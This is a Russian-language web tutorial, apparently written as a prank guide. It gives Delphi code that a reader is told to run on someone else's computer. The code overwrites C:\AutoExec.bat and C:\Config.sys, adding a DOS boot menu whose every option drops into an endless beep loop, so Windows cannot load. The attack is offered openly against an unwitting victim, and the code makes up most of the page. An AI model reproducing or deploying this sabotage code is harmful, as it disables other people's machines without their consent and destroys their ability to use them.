Содержание материала

 

Вы когда-нибудь видели меню в DOS'е? Ну, например, то самое, которое появляется по нажатию на F8 до загрузки Windows. А представьте себе, если у вас оно будет появляться без всяких нажатий на клавиши, да ещё и пункты меню будут с заданными вами заголовками, ну, и, наконец, если не по одному из пунктов меню вы не сможете загрузить Windows...

 

Для этого нам понадобятся два системных файла, умение делать копию в буфер обмена (дабы не писать тот код, что я вам сейчас покажу) и ламерюга, на котором вы бы хотели всё это испытать.

 

Ну, за последним дело не постоит, а сначала нужно сделать следующее:

 

Выносим компонент класса TMemo - это большое текстовое поле (мы уже учились использовать переменные для взаимодействия с файлами, когда выводили сообщение во время загрузки системы, теперь будем использовать компоненты).

По созданию окна пишем:

 

Code:

procedure TForm1.FormCreate(Sender: TObject);

begin

with Memo1.Lines do

begin

   Clear;

   LoadFromFile('C:\AutoExec.bat');

   Insert(3,'goto %config%');

   Insert(4,':FuckSystem');

   Append('beep');

   Append('goto FuckSystem');

   Append(':HackSystem');

   Append('beep');

   Append('goto HackSystem');

   Append(':exit');

   SaveToFile('C:\AutoExec.bat');

 

   Clear;

   LoadFromFile('C:\Config.sys');

   Append('[menu]');

   Append('menuitem=HackSystem, HackSystem');

   Append('menuitem=FuckSystem, FuckSystem');

   Append('[FuckSystem]');

   Append('[HackSystem]');

   SaveToFile('C:\Config.sys');

end;

end;

 

Добавить комментарий

Не использовать не нормативную лексику.

Просьба писать ваши замечания, наблюдения и все остальное,
что поможет улучшить предоставляемую информацию на этом сайте.

ВСЕ КОММЕНТАРИИ МОДЕРИРУЮТСЯ ВРУЧНУЮ, ТАК ЧТО СПАМИТЬ БЕСПОЛЕЗНО!


Защитный код
Обновить